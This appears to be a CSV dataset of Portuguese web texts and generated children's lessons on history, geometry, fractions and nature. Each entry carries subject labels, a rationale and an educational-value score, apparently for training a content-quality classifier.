+O general Choi fundou a organização de taekwondo conhecida como ITF na década de 1960, após uma bem-sucedida turnê de exibição de taekwondo pela Europa e América. Esse processo foi de vital importância para o esporte, pois fez com que ele ganhasse popularidade fora da Ásia.
+O taekwondo nos dias de hoje
+Vem aí o UFC 267: Jan Blachowicz x Glover Teixeira
+Amanda Nunes, a melhor lutadora do UFC
+Derrick Lewis x Ciryl Gane no UFC 265: cinturão interino peso pesado
+C...",original,original,original,original,3,0.6
+"Imagine um tempo bem distante, há mais de 500 anos! Naquela época, os portugueses, que moravam em Portugal, um país lá na Europa, eram grandes navegadores. Eles adoravam explorar os oceanos em busca de novas terras, especiarias (como canela e pimenta) e riquezas.
+
+Um dia, em 1500, uma grande frota portuguesa, liderada por Pedro Álvares Cabral, estava navegando em direção às Índias, um lugar muito, muito longe. De repente, os navios foram levados por ventos fortes e correntes marítimas. E, para a surpresa de todos, eles avistaram uma terra nova! Era o Brasil!
+
+Os portugueses ficaram impressionados com a beleza da nova terra. Viram uma floresta exuberante, cheia de árvores altas e coloridas, rios imensos e animais que nunca tinham visto antes. Os primeiros habitantes do Brasil, os indígenas, também estavam lá. Eles viviam em harmonia com a natureza, caçando, pescando e cultivando a terra.
+
+O encontro entre os portugueses e os indígenas foi um momento muito importante na história do Brasil. Os portugueses trouxeram novas tecnologias, como ferramentas de metal e armas de fogo, mas também trouxeram doenças que os indígenas não conheciam. A partir desse encontro, a história do Brasil começou a ser escrita, com muitas mudanças e transformações.
+
+Você já pensou como seria estar no lugar dos portugueses, chegando a uma terra totalmente desconhecida? E como seria ser um indígena, vendo aqueles navios enormes se aproximando da sua casa? A história do Brasil é cheia de aventuras, encontros e desafios. Ao aprendermos sobre ela, entendemos melhor quem somos e como o nosso país se formou. Que tal pesquisar mais sobre os indígenas e os portugueses? Você vai descobrir histórias incríveis!",História,História do Brasil,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas sobre a chegada dos portugueses ao Brasil, contextualizando o período histórico e mencionando os povos indígenas. A linguagem é acessível e adequada para crianças, incentivando a pesquisa e reflexão. Aborda elementos pertinentes à educação e introduz conceitos importantes relacionados ao currículo escolar, com texto coerente e apropriado para o aprendizado. A escrita é clara e consistente, com conteúdo educacional robusto, conceitos adequados para o nível de escolaridade e valioso para um aprendizado estruturado.",5,1.0
+"terça-feira, 26 de março de 2013
+São Paulo Mapeia Raios Ascendentes na Av. Paulista
+Segue abaixo uma matéria publicada hoje ( 24/03 ) no site do jornal ""O Estado de São Paulo"" destacando que São Paulo está mapeando Raios Ascendentes na Av. Paulista .
+Duda Falcão
+Notícias
+São Paulo Mapeia Raios
+Ascendentes na Av. Paulista
+Objetivo é descobrir detalhes da formação dos raios que sobem até
+as nuvens em vez de descer até o chão; eventos desse tipo são raros
+RODRIGO BURGARELLI
+O Estado de S. Paulo
+24 de março de 2013 | 2h 06
+Uma câmera no topo de um prédio no Sumarezinho, na zona oeste de São Paulo, está ligada 24 horas por dia desde meados de dezembro. Ao contrário da maioria das suas similares em bairros nobres de São Paulo, ela não busca identificar possíveis criminosos ou anotar placas de carro que estão furando o rodízio de veículos. Voltada para um espigão que fica a sudeste dali, seu objetivo é um pouco mais inusitado que isso - registrar raios que sobem das torres de rádio e celular que ficam na Avenida Paulista.
+Reprodução
+Raio ascendente capturado por uma câmera do INPE. Se originou no alto de uma torre da Band.
+Sim, é isso mesmo: há raios que sobem até as nuvens em vez de descer. Chamados de raios ascendentes, eles são raros, e apenas uns poucos países como Estados Unidos, Canadá, Japão e Áustria já registraram em filme esse fenômeno atmosférico. O Brasil entrou nesse seleto grupo no verão passado, quando pesquisadores do Grupo de Eletricidade Atmosférica (ELAT) do Instituto Nacional de Pesquisas Espaciais (INPE) capturou pela primeira vez imagens de raios ascendentes no Pico do Jaraguá, zona norte de São Paulo - outras 40 foram registradas ao longo do ano passado. O desafio agora era identificá-los em uma área extremamente urbanizada da cidade.
+O objetivo foi concretizado no dia 29 de dezembro de 2012, quando raios desse tipo iniciaram-se a partir de quatro torres situadas na região da Paulista e foram filmados pela câmera do INPE. Uma das torres, que fica iluminada à noite e tem 220 metros de altura, foi identificada pelos pesquisadores como a da TV Bandeirantes. A equipe ainda investiga para saber quais são as outras torres que originaram os outros raios ascendentes.
+Mas porque um raio resolve subir de uma torre para as nuvens, em vez de fazer o contrário? ""Sabemos que para um raio ascendente iniciar, é necessário um campo elétrico intenso na ponta de uma estrutura alta. Este campo é gerado por uma tempestade acima. No entanto isto não basta. Algo mais tem de acontecer para que o raio aconteça, mas não sabemos ainda com certeza como esse processo funciona"", afirma Marcelo Saba, pesquisador do ELAT.
+Saba garante que uma das diferenças desses raios em relação aos que descem é que eles precisam de estruturas altas para surgirem. ""Já os raios descendentes sempre acontecem, com ou sem estruturas altas no solo"", diz.
+A pesquisa tem objetivos práticos. O principal é descobrir os detalhes da formação dos raios ascendentes para, depois, formular mecanismos de proteção contra esse tipo de raio, que atualmente é excluído das normas de proteção. Estudos já feitos no Japão comprovaram que os raios ascendentes podem trazer grandes prejuízos quando atingem turbinas de geração eólica, um tipo de energia que está sendo cada vez mais usado no Brasil e no mundo. ""Como ocorrem a partir de estruturas feitas pelo homem, é importante entender qual o impacto desta ação antropogênica no aumento da incidência deste tipo de raio"", diz Saba.",original,original,original,original,4,0.8
+"Troca de placa de vídeo e compatibilidade? - Placas de vídeo - Clube do Hardware
+Troca de placa de vídeo e compatibilidade?
+Por Silvio Neto, 8 de abril em Placas de vídeo
+Silvio Neto 0
+Bom, vou ser breve, meu pc foi montado em 2013, de lá pra cá eu mudei várias coisas e agora quero trocar minha placa de vídeo, que não suporta mais os jogos que eu jogo, enfim, como eu sou TOTALMENTE LEIGO no assunto aqui vai a pergunta
+Eu tenho uma AMD 7870 2GB, e pretendo comprar uma GTX 1060 6GB, se eu comprar a placa ela vai funcionar normalmente no meu pc? eu tenho que comprar outra peça em conjunto? me falaram sobre uma tal de entrada PCI, e que depende disso pra funcionar, a minha é uma PCI Express 3.0 x16, e a da 1060 é Pci Exp 6Pin, vai funcionar ou eu tenho que comprar outra peça junto? Muito obrigado!
+@Silvio Neto
+Como é o resto do seu PC?
+E a fonte? qual é?
+i5 3330, 8GB ram, fonte cx 430w
+DaviTesch 4
+@Silvio Neto Eae mano fica tranquilo é coisa simples, você vai fazer o seguinte:
+-Baixe o DDU (Desinstala o driver da placa de video amd)
+-Fazer a instalação do aplicativo
+-Dentro do aplicativo vai ter uma opção que pode mudar, você vai essa opção em ""GPU""
+-Depois vai ter 3 opção do lado esquerdo, clique na que está escrito ""Desinstalar driver amd e desligar computador""
+-Quando acabar e o computador desligar, tire a placa de video antiga e coloque a gtx 1060 no lugar dela e coloque o pino de alimentação (6 pinos emcima da placa de video)
+-Ligue o computador e vá até o site da Nvidia e baixe o driver ou o Geforce Experience (tanto faz os dois tem o driver)
+-Execute o driver ou o Geforce Experience e instale-o usando a opção instalação limpa (no processo a tela vai dar umas piscadas mas é totalmente normal, não se preocupe.
+-Quando acabar, reinicie o computador e seja feliz.
+Qualquer outra dúvida manda mensagem aqui
+Pode pegar a GTX 1060 6GB, é uma boa placa. Em alguns casos você vai achar a RX 580 8GB mais barata que ela e está no mesmo nível de performance então considera também.
+@Silvio Neto Kkkk desculpe não tinha lido direito, a gtx 1060 6gb não vai precisar de nenhum outro dispositivo que não venha junto da placa. Exceto a alimentação de 6 pinos da fonte. Talvez uma 430w não aguenta, mas é bem provavel que ira suportar.
+@Narak13 minha fonte segura essa 580 aí? tenho muito medo porque a minha 7870 ja fritou uma vez
+Microondas Eletrolux MEF41 - Defeito intermitente
+Strictly only gamer - 15 minutos
+Romulo Matheus - 32 minutos
+ricardo_br - 50 minutos
+Thyago_ - 54 minutos
+Bruno133 - 3 horas
+OldHutter - 23 minutos
+robsonz - 28 minutos
+ricardo_br - 30 minutos
+ricardo_br - 41 minutos",original,original,original,original,2,0.4
+"Leitor ‘se engaja’ mais na notícia impressa | Destiempo
+« Jornalistas são presos em operação da polícia britânica
+A crise dos ‘brancos de olhos azuis’ »
+30/01/2012 por CarlaLisboa
+Consumidora de San Francisco compra exemplares do ���New York Times”; leitor do impresso recorda mais que o da web
+Em suma, diz o estudo, “os leitores on-line tendem a escanear os textos, enquanto os leitores de impresso tendem a ser mais metódicos”.
+Mais especificamente, o leitor do “New York Times” impresso recorda em média “significativamente mais notícias” (9,6) que o leitor do site do jornal (7,3). Ele também relembra “significativamente mais tópicos” (4,2) que o leitor on-line (2,8). Por tópico, o levantamento entende a essência de cada texto.
+Também quanto aos pontos principais -ou seja, os trechos importantes distribuídos ao longo do texto- o leitor do jornal impresso recorda mais (4) que a pessoa que lê na mídia on-line (2,8).
+Arthur Santana lembra Nicholas Carr, autor de “The Shallows” -“os rasos”, obra traduzida no Brasil como “A Geração Artificial” (editora Agir). O livro questiona os efeitos da internet sobre a capacidade de “concentração e contemplação”.",original,original,original,original,1,0.2
+"Olá, pequenos exploradores! Já pararam para pensar em quem vivia no Brasil antes de Pedro Álvares Cabral chegar com suas caravelas? Eram os povos indígenas! Eles já estavam aqui há milhares de anos, cuidando da nossa terra com muito carinho e sabedoria.
+
+**Quem são os povos indígenas?**
+
+Os povos indígenas não são um grupo único. São várias tribos, cada uma com sua própria língua, costumes, crenças e tradições. Alguns exemplos são os Guarani, os Yanomami, os Xavante e os Ticuna. Cada um deles tem uma história rica e interessante para nos contar.
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+**Como eles vivem?**
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+Antigamente, muitos povos indígenas viviam da caça, da pesca e da agricultura. Eles plantavam mandioca, milho, batata-doce e muitos outros alimentos. Viviam em casas feitas de palha e madeira, chamadas ocas, e se vestiam com roupas feitas de materiais da natureza, como penas e peles de animais. Hoje em dia, alguns povos indígenas ainda vivem dessa forma, preservando seus costumes ancestrais. Outros, vivem em cidades, mas continuam mantendo vivas suas tradições e lutando por seus direitos.
+
+**O que podemos aprender com os povos indígenas?**
+
+Os povos indígenas têm muito a nos ensinar sobre respeito à natureza, sobre a importância da comunidade e sobre a sabedoria dos mais velhos. Eles conhecem os segredos da floresta, sabem como usar as plantas para curar doenças e têm uma ligação muito forte com a terra. Podemos aprender muito com eles sobre como viver em harmonia com o meio ambiente.
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+**Curiosidades indígenas:**
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+*   Você sabia que a rede que usamos para dormir é uma invenção indígena?
+*   E que muitas palavras que usamos no nosso dia a dia, como abacaxi, mandioca e pipoca, vêm de línguas indígenas?
+*   Os indígenas adoram pintar o corpo com tintas naturais feitas de plantas e frutos. Cada pintura tem um significado especial!
+
+**Vamos pensar um pouco:**
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+*   Como podemos ajudar a proteger a cultura e os direitos dos povos indígenas?
+*   O que podemos fazer para aprender mais sobre a história e os costumes desses povos?
+*   Como podemos aplicar os ensinamentos dos povos indígenas em nossas vidas, para cuidar melhor do nosso planeta?
+
+Os povos indígenas são parte importante da nossa história e da nossa cultura. Vamos valorizar e respeitar esses povos, aprendendo com eles e ajudando a construir um Brasil mais justo e igualitário para todos!",História,Povos indígenas,anos iniciais (1º ao 5º ano),"O trecho recebe a nota máxima (5) por apresentar um conteúdo altamente relevante e proveitoso para fins educacionais no Ensino Fundamental. Apresenta a temática dos povos indígenas de forma clara, didática e interessante, utilizando linguagem acessível e promovendo a reflexão. Aborda diversos aspectos da cultura indígena, desde seus costumes e tradições até sua importância histórica e contribuições para a sociedade brasileira. O texto estimula o respeito, a valorização e a aprendizagem sobre os povos originários, sendo perfeitamente adequado para o público-alvo.",5,1.0
+"Já parou para pensar que a matemática está em todo lugar? Mais especificamente, a geometria nos acompanha diariamente, mesmo quando não percebemos! Desde o formato do celular que você usa até a estrutura da sua casa, as formas geométricas são essenciais para o mundo que conhecemos. Mas, afinal, o que são essas formas e por que são tão importantes?
+
+A geometria é o ramo da matemática que estuda as formas, suas propriedades e as relações entre elas. Pense em um círculo: ele está presente nas rodas dos carros, nos pratos que usamos para comer e até mesmo no Sol! O círculo é uma forma geométrica plana, ou seja, está contido em um plano bidimensional. Outras formas planas incluem o quadrado, o retângulo, o triângulo e muitas outras. Cada uma delas possui características únicas, como o número de lados, ângulos e áreas. 
+
+Mas a geometria não se limita a formas planas. Existem também as formas espaciais, ou sólidos geométricos, que possuem três dimensões: comprimento, largura e altura. Imagine uma bola de futebol: ela é uma esfera! Uma caixa de sapatos se assemelha a um paralelepípedo, e uma pirâmide do Egito é um exemplo clássico de pirâmide. Cada um desses sólidos possui volume, que é a quantidade de espaço que ocupam. 
+
+A aplicação da geometria vai muito além da sala de aula. Arquitetos a utilizam para projetar edifícios seguros e funcionais, engenheiros a empregam para construir pontes e estradas, e designers a usam para criar objetos bonitos e práticos. Até mesmo artistas se inspiram nas formas geométricas para criar obras de arte incríveis! Por exemplo, muitos quadros famosos utilizam a proporção áurea, uma relação matemática que aparece na natureza e que confere beleza e harmonia às obras. 
+
+Experimente observar o mundo ao seu redor com um olhar geométrico. Quais formas você consegue identificar? Como elas se relacionam entre si? Que tal tentar desenhar algumas dessas formas e calcular suas áreas e volumes? A geometria é uma ferramenta poderosa para entender o mundo e desenvolver o raciocínio lógico. Ao desvendar os segredos das formas geométricas, você estará abrindo portas para um universo de possibilidades e aprendizado!",Matemática,Geometria e formas,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas sobre geometria, alinhadas ao currículo do ensino fundamental. A linguagem é acessível, introduzindo conceitos como formas planas e espaciais, e relaciona a geometria com aplicações práticas no dia a dia, como arquitetura e design. Há um incentivo à observação e experimentação, tornando o conteúdo relevante e proveitoso para fins educacionais, o que justifica a pontuação máxima.",5,1.0
+"Olá, pequenos exploradores! Já pararam para pensar por que chove, como o arco-íris se forma ou de onde vem o vento? Tudo isso são fenômenos naturais, acontecimentos incríveis que a natureza nos presenteia todos os dias! Vamos juntos desvendar alguns desses mistérios?
+
+Imagine um dia ensolarado. O sol aquece a água dos rios, lagos e oceanos, transformando-a em vapor, como se fosse uma panela gigante fervendo. Esse vapor sobe, sobe, sobe lá para o alto, formando as nuvens. Quando as nuvens ficam bem cheias de vapor, ele se transforma em gotinhas de água que caem em forma de chuva, irrigando as plantas, matando a nossa sede e enchendo os rios novamente. É como um ciclo mágico! E o mais legal é que a chuva não é sempre igual: às vezes cai bem fininha, outras vezes vem com força, em um temporal. Já repararam nisso?
+
+E o vento? Ele é o ar se movimentando! O ar quente sobe e o ar frio desce, criando correntes que sentimos como vento. O vento pode ser suave, como uma brisa que refresca o rosto, ou forte, como um vendaval que balança as árvores. Sabiam que o vento também ajuda a espalhar as sementes das plantas por aí, garantindo que novas árvores e flores nasçam?
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+Agora, quem já viu um arco-íris? Ele é um espetáculo de cores que aparece quando a luz do sol atravessa as gotinhas de água que estão no ar depois da chuva. A luz se divide em várias cores, formando aquele arco colorido que tanto amamos! É como se a natureza estivesse pintando o céu.
+
+Existem muitos outros fenômenos naturais incríveis para descobrirmos, como os raios e trovões, o ciclo das estações do ano, as fases da lua e até mesmo a formação das ondas do mar. Que tal observar o mundo ao seu redor com mais atenção? Quais fenômenos você consegue identificar no seu dia a dia? Converse com seus pais, professores e amigos, pesquisem juntos e divirtam-se explorando a magia da natureza! A natureza é um livro gigante esperando para ser lido e compreendido. Cada fenômeno é uma página cheia de surpresas e aprendizados. Então, abram seus olhos, usem a curiosidade e embarquem nessa aventura!",Ciências,Fenômenos naturais,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional para os anos iniciais do ensino fundamental. Introduz fenômenos naturais de forma lúdica e acessível, incentivando a curiosidade e a observação. A linguagem é adequada para crianças, e os exemplos são relevantes para o cotidiano. Explica conceitos como chuva, vento e arco-íris de maneira simples e eficaz. A ausência de informações complexas o torna ideal para essa faixa etária, promovendo um aprendizado leve e estimulante.",5,1.0
+"Um obrigada a todos os que nos visitam!
+Objecto de estudo na praia!!!
+É preciso Intervir.....
+Da praia para a escola!!!!
+Descobrir a escrita através dos livros...
+Que sabor preferes??
+MaNjEriCoS...que bem que cheiram...
+A MaTeMáTiCa e os Amigos!!!!
+Dia 10 de Junho- Manhã Infantil
+Em preparativos finais....:)",original,original,original,original,1,0.2
+"O Dia de Reis tem uma origem cristã e segundo a tradição, é o dia em que Jesus Cristo recebeu a visita de três Reis Magos – Gaspar, Baltasar e Belchior.
+Eles sabiam que um dia ia nascer um Menino muito especial e que nesse dia ia aparecer no céu uma estrela muito brilhante e, como conta a lenda, assim foi. Depois do nascimento do menino Jesus, o Reis Magos seguiram uma estrela que os guiou até Belém, onde estava o menino Jesus com a sua família.",original,original,original,original,3,0.6
+"Olá, meus queridos leitores e leitoras! Tudo bem com vocês? Hoje venho falar um pouquinho de mais dois lançamentos da Editora Rocco, O Mundo das vozes silenciadas e O Reino…
+Continue Reading →
+Resenhas
+[Resenha] Doctor Who: 12 doutores, 12 histórias – Parte 2
+February 20, 2015
+Continuação de “[Resenha] Doctor Who: 12 doutores, 12 histórias – Parte 1″… Sétimo Doutor: O Efeito de Propagação Autor: Malorie Blackmann O Doutor e sua companheira Ace estavam presos na…
+Continue Reading →
+Resenhas
+[Resenha] Doctor Who: 12 doutores, 12 histórias – Parte 1
+February 20, 2015
+Autor: Vários Autores Tradução: Vários Editora: Rocco Lançamento: 2014 Páginas: 480 Sinopse: Não é qualquer universo que pode receber 12 visitantes tão ilustres e acolher 12 interpretações tão radicalmente diferentes…
+Continue Reading →
+About Me
+Sophia
+Estudante, cristã e leitora desde que se entende por gente. Aqui compartilho um pouco sobre as minhas leituras e dou dicas relacionadas a livros, séries e estudos.",original,original,original,original,1,0.2
+"Pleistoceno – Wikipédia, a enciclopédia livre
+Subdivisões do Quaternário
+Quaternário Holoceno Meghalaiano 0-0.042
+Norte-Gripiano 0.042-0.082
+Gronelandês 0.082-0.117
+Pleistoceno Taratiano 0.117–0.126
+Chibano 0.126–0.781
+Calabriano 0.781–1.80
+Gelasiano 1.80–2.58
+Neogeno Plioceno Piacenziano mais antigo
+Subdivisão do Quaternário de acordo com a Tabela Cronoestratigráfica Internacional versão 2015/1 da Comissão Internacional sobre Estratigrafia.
+Na escala de tempo geológico, o Plistoceno [nota 1] ou Pleistoceno é a época do período Quaternário da era Cenozoica do éon Fanerozoico que está compreendida entre 2,588 milhões e 11,7 mil anos atrás, abrangendo o período recente no mundo de glaciações repetidas. O termo Pleistoceno deriva do grego πλεῖστος (transl. pleistos, ""bastante mais"") e καινός (transl. kainos, ""novo""), significando ""bastante mais novo"".
+O Pleistoceno sucede o Plioceno e precede o Holoceno, ambos de seu período. Divide-se nas idades Gelasiano, Calabriano, Chibano e Taratiano, da mais antiga para a mais recente.
+Paleogeografia e climaEditar
+Extensão de gelo durante o último máximo glacial cerca de 20.000 anos atrás. A criação de folhas de gelo de quilômetros de espessura 3-4 causou um declínio global do nível do mar de cerca de 120 m.
+O resfriamento gradual e aridez gerou um mundo muito parecido com hoje. Dentro do Círculo Polar Ártico, a tundra estendeu por todo o permafrost, no sul deste cresceu a taiga e ainda mais ao sul, a aridez predominante levou à substituição do deserto e semi-deserto Chaparral, as folhas foram substituídas por pastagens temperadas. No final do Pleistoceno, os seres humanos surgiram na África, descendendo de hominídeos, como Australopiteco.
+Durante esse tempo, o mar se retirou a maioria dos Península Ibérica, deixando um abismo encolhendo no Guadalquivir e Murcia e restos de praias de Huelva e da Catalunha. Dentro, mesmo velho o trabalho e os novos são fluviolacustres bacias. Somente no Pleistoceno Superior e nas montanhas ao norte da península de strip há indícios de estágios glaciais. O leste asiático se estende à sudeste, enquanto a Austrália se estende à Norte, pelo intenso tectonismo da região.
+As glaciaçõesEditar
+Ver artigo principal: Glaciação
+Durante o Pleistoceno grandes extensões de terra foram cobertas com uma imensa camada de gelo, um fenômeno conhecido como glaciação. Em alguns períodos o clima ficou mais quente e houve redução do tamanho das camadas de gelo. Esses períodos são chamados interglaciares.
+No último milhão de anos, foram quatro as principais idades do gelo na Europa e receberam os nomes de quatro afluentes do Danúbio, nos quais onde, pela primeira vez, foram identificados os seus depósitos: Würm, Riss, Mindel e Günz (a mais antiga). Na América do Norte as glaciações se denominam Wisconsin, Illinois, Kansas e Nebraska, respectivamente. Com a recente inclusão da idade Gelasiana no Pleistoceno, duas novas glaciações foram incluídas: Donau e Briggen.
+Devido às condições meteorológicas, as calotas polares de gelo cresceram e se mudaram para o paralelo 40, em algumas áreas. O nível do mar caiu cerca de 100 metros e a fauna e flora foram conduzidos de acordo com o clima.
+Mamutes e rinocerontes lanudos.
+A preponderância dos mamíferos foi consolidada, e alguns de seus mais proeminentes são Glyptodon e Smilodon. O gênero Mammuthus permaneceu durante grande parte deste período. Animais típicos desta época foram, rena, o urso polar, o rinoceronte lanoso, etc. A vegetação predominante era semelhante à tundra fria, desertos frios de hoje que são cobertos com musgos e líquenes. Na fase interglacial quente, os cavalos propriamente ditos apareceram (Equus) e rinocerontes atuais também, assim como hipopótamos e o extinto tigres dentes de sabre. Houve também surgimento de animais modernos que sobreviveram à mudanças climáticas (alce, raposa, lobo, gato bravo, hiena, bisonte, antilocapra, camelo, auroque, etc.)
+Mamute (Mammuthus primigenius), um proboscídeo
+Mastodonte (Mammut americanu...",original,original,original,original,3,0.6
+"Para Irã, erros do Ocidente fizeram do Oriente Médio uma 'terra de terroristas' - Mundo - iG
+Para Irã, erros do Ocidente fizeram do Oriente Médio uma 'terra de terroristas'
+Por iG São Paulo | 26/09/2014 09:36 - Atualizada às 26/09/2014 09:41
+Segundo líder iraniano, estratégias equivocadas também foram fundamentais para aumentar o terror na Ásia Central e Cáucaso
+O presidente do Irã, Hassan Rouhani, disse durante discurso na 69ª Assembleia Geral das Nações Unidas que as estratégias equivocadas do Ocidente para o Oriente Médio, Ásia Central e para o Cáucaso converteram as regiões em paraísos para terroristas.
+Hoje: Líder britânico pede apoio a Parlamento para bombardeios no Iraque
+O presidente iraniano Hassan Rouhani durante Assembleia Geral das Nações Unidas na sede das Nações Unidas em Nova York, EUA (25/09)
+Segundo ele, as grandes potências ocidentais incentivam o fundamentalismo e agora não sabem como detê-lo. Como exemplo, Rouhani citou as intervenções militares no Afeganistão, no Iraque e na Síria. Para o presidente do Irã são os países da região que devem combater os grupos fundamentalistas.
+""A experiência da criação da al-Qaeda, do Taleban e de outros grupos extremistas mostram que não se pode usar grupos fundamentalistas para combater um Estado adversário, sem se intimidar com as consequências de um extremismo mais amargo"".
+Rouhani ressaltou que, se a coalizão liderada pelos Estados Unidos para enfrentar o Estado Islâmico tiver o objetivo de manter a hegemonia ocidental sobre a região cometerá mais um erro, que alimentará o ódio e a islamofobia.
+Relato: Sobrevivente denuncia estupro e exploração sexual no Iraque
+""Sempre consideramos que a democracia não poderia ser imposta do exterior (…) não é um produto comercial que possa ser exportado do Ocidente para Leste"", disse Rouhani.
+""Quando os generais irrompem numa região, não esperam que sejam calorosamente recebidos pelos diplomatas. Quando a guerra começa, a diplomacia termina. Quando as sanções são impostas, aumenta o ódio sobre quem as aplica"", acrescentou.
+Sobre as desconfianças das grandes potências mundiais quanto ao programa nuclear de seu país, Rouhani disse que o Irã está determinado a prosseguir as negociações sobre seu programa nuclear, na expectativa de que um acordo seja concluído em curto prazo.
+Apesar disso, observou que as sanções constituem um impedimento para cooperações de longo prazo. Grandes potências e Israel acusam o Irã de promover clandestinamente, camufladas pelo programa nuclear civil, atividades destinadas à fabricação de bombas atômicas, o que o governo do país nega.
+*Com informações do Centro de Notícias ONU, Agência Brasil e da Agência Lusa
+Link deste artigo: http://ultimosegundo.ig.com.br/mundo/2014-09-26/para-ira-erros-do-ocidente-transformam-oriente-medio-em-terra-de-terroristas.html",original,original,original,original,2,0.4
+"Lindo terreno de esquina, plano, pronto para construir, a menos de 100 metros do mar, num dos melhores pontos da praia Brava, Balneário Santa Clara, em Itajaí, quase divisa com Balneário Camboriú.
+Medidas 12 metros de frente, 10,20 metros de fundos, 27,50 metros com rua lateral e 32 metros com outro terreno extremante.",original,original,original,original,0,0.0
+"Já parou para pensar em quantas vezes usamos frações e decimais no nosso dia a dia? Talvez você ache que matemática é algo distante, cheio de fórmulas complicadas, mas a verdade é que ela está presente em muitas situações corriqueiras. Hoje, vamos desvendar alguns segredos das frações e decimais e mostrar como elas são importantes para entendermos o mundo ao nosso redor.
+
+Imagine que você e seus amigos pediram uma pizza. A pizza veio dividida em 8 pedaços iguais e você comeu 3 desses pedaços. Matematicamente, podemos representar essa situação com uma fração: 3/8. O número de baixo, o 8, indica em quantas partes a pizza foi dividida (o todo), e o número de cima, o 3, indica quantos pedaços você comeu (a parte). As frações nos ajudam a representar partes de um todo.
+
+Agora, pense em uma barra de chocolate que custa R$ 2,50. Esse número, com a vírgula, é um decimal. Os decimais são como “primos” das frações, pois também representam partes de um todo, mas de uma forma diferente. R$ 2,50 significa que você precisa de duas moedas de R$ 1,00 e mais a metade de uma moeda de R$ 1,00 (ou seja, 50 centavos) para comprar o chocolate. A parte que vem depois da vírgula representa uma fração da unidade.
+
+As frações e os decimais estão por toda parte. Quando você mede a altura de alguém, usando metros e centímetros, está usando decimais. Por exemplo, uma pessoa que tem 1,65 metros de altura tem um metro inteiro e mais 65 centésimos de metro. Quando você divide uma receita de bolo pela metade, para fazer uma quantidade menor, está usando frações.
+
+Entender frações e decimais é fundamental para muitas coisas, desde calcular descontos em uma loja até entender as estatísticas em um jogo de futebol. E aí, já tinha se dado conta de como esses conceitos são importantes? Que outros exemplos de uso de frações e decimais você consegue encontrar no seu dia a dia? Que tal começar a prestar mais atenção e descobrir a matemática escondida nas coisas que você faz?",Matemática,Frações e decimais,anos finais (6º ao 9º ano),"O trecho apresenta um alto valor educacional, pois introduz frações e decimais de maneira contextualizada e acessível, utilizando exemplos práticos como pizza e dinheiro. A explicação é clara e progressiva, adequada para o ensino fundamental, incentivando a reflexão e a identificação desses conceitos no cotidiano. Há uma progressão clara de um ponto de partida acessível para a aplicação dos conceitos em situações reais, tornando o aprendizado mais significativo.",5,1.0
+"O instagram é uma rede social que tem crescido de forma acelerada, atualmente são 1 bilhão de contas ativas por todo o mundo, sendo que o Brasil se destaca como o segundo país com mais usuários ativos na plataforma. Com tantas pessoas conectadas em um único lugar, seria praticamente impossível seu negócio passar despercebido. […]
+Hoje em dia é muito comum acessar as redes sociais e se deparar com as famosas #Hashtags. Muitas pessoas já utilizaram em suas publicações, porém nem todas sabem da onde surgiu e como usar de forma correta no mundo virtual. As hashtags surgiram no Twitter, porém pouco tempo depois foi aderida por usuários de outras […]
+A evolução nas discussões sobre diversidade de gênero, que é pauta na sociedade, nas empresas e na propaganda, vem propiciando o surgimento de um novo ciclo de serviços desenvolvidos especificamente para mulheres. Essas novas empresas, muitas delas startups, se apegam na geração de valor em demandas específicas e em resposta a problemas atuais. Os casos […]
+Com mais de 1 bilhão de usuários, o WhatsApp é uma das ferramentas de comunicação mais utilizadas no mundo. Sua simplicidade permite que até quem não tem muita familiaridade com smartphones consiga utilizá-lo facilmente. Por menos complexo que seja, o WhatsApp tem recursos que não são tão conhecidos e podem facilitar sua vida. Para facilitar […]
+Aproveite as crises para promover melhorias na empresa
+Quando algo vai mal na empresa, para muitos, o instinto inicial é manter as coisas sob os panos o máximo possível, para evitar desesperos na equipe. Eu diria que é melhor reconhecer a crise e usá-la em vantagem própria.É difícil trazer mudanças para uma organização, e um momento de crise é perfeito para fazer aqueles […]
+Informe seu e-mail para receber as nossas novidades!",original,original,original,original,2,0.4
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+Ivan Granovsky Los Territorios The Beast (curta)
+LOS TERRITORIOS | Filme de Ivan Granovsky estreia nesta quinta-feira
+Curta metragem ´The Beast´, dirigido por Michael Wahrmann junto com a Sul Africana Samantha Nell, será exibido nos cinemas antes das sessões do filme “Los Territorios”
+O filme ""LOS TERRITORIOS"", de Ivan Granovsky, estreia nesta quinta-feira, dia 14 de junho, no Rio de Janeiro. O longa acompanha a jornada de Ivan, filho de um importante jornalista argentino que, após o ataque ao jornal Charlie Hebdo, em Paris, sai em busca de diferentes eventos e conflitos geopolíticos ao redor do mundo.
+""LOS TERRITORIOS"" teve sua estreia mundial no Festival Internacional de Cinema de Roterdã, no início do ano. Além de filmagens realizadas na Argentina, França, Espanha, Palestina, Israel, Grécia, Síria e outros lugares do mundo, o longa também foi rodado em São Paulo e Brasília e conta com a participação especial do Presidente Luiz Inácio Lula da Silva.
+O jornalista Martin Granovsky, pai de Ivan, também participa do filme. Formado em história, Granovsky atua como colunista do jornal “Página 12”, na Argentina, dirige o “Núcleo de Estudos sobre o Brasil” na Universidade Metropolitana para a Educação e Trabalho, é professor de relações internacionais e coordenador da TV no Conselho Latinoamericano de Ciências Sociais.
+Produzido pelas produtoras argentinas Autocroma e CSP Filmes e pela brasileira SANCHO&PUNTA, ""LOS TERRITORIOS"" teve toda sua pós-produção realizada no Brasil. O roteiro é assinado também pelo uruguaio Michael Wahrmann, e a trilha original, além do desenho de som, é do brasileiro Edson Secco. O filme chega aos cinemas após uma longa carreira em festivais, inclusive no Festival Internacional de Cinema do Rio em 2017, com distribuição da Vitrine Filmes.
+Curta metragem ""THE BEAST""
+O curta metragem “THE BEAST”, dirigido por Michael Wahrmann junto com a Sul Africana Samantha Nell, será exibido nos cinemas antes das sessões do filme “Los Territorios”, de Ivan Granovsky, que tem coprodução do próprio Wahrmann que também participou do roteiro.
+""THE BEAST"" narra um dia num parque temático na África do Sul: enquanto Jacob sonha que mata um leopardo com as próprias mãos, Cosmas varre folhas debaixo da única árvore com sinal de celular e aproveita para ouvir as conversas dos turistas ao telefone. Já Ndu, é um guia-florestal num safári onde não tem bicho nenhum. E o dançarino Shaka quer atuar numa peça de Shakespeare, mas sua namorada Thando lhe diz umas verdades sobre a vida.
+Premiado em festivais como Janela Internacional de Cinema, Panorama Coisa de Cinema, LIFFE Film Festival, Labour Film Festival, Short Waves Festival e outros, o curta teve estreia mundial no Festival de Cannes, onde foi exibido na Quinzena dos Realizadores em 2016.
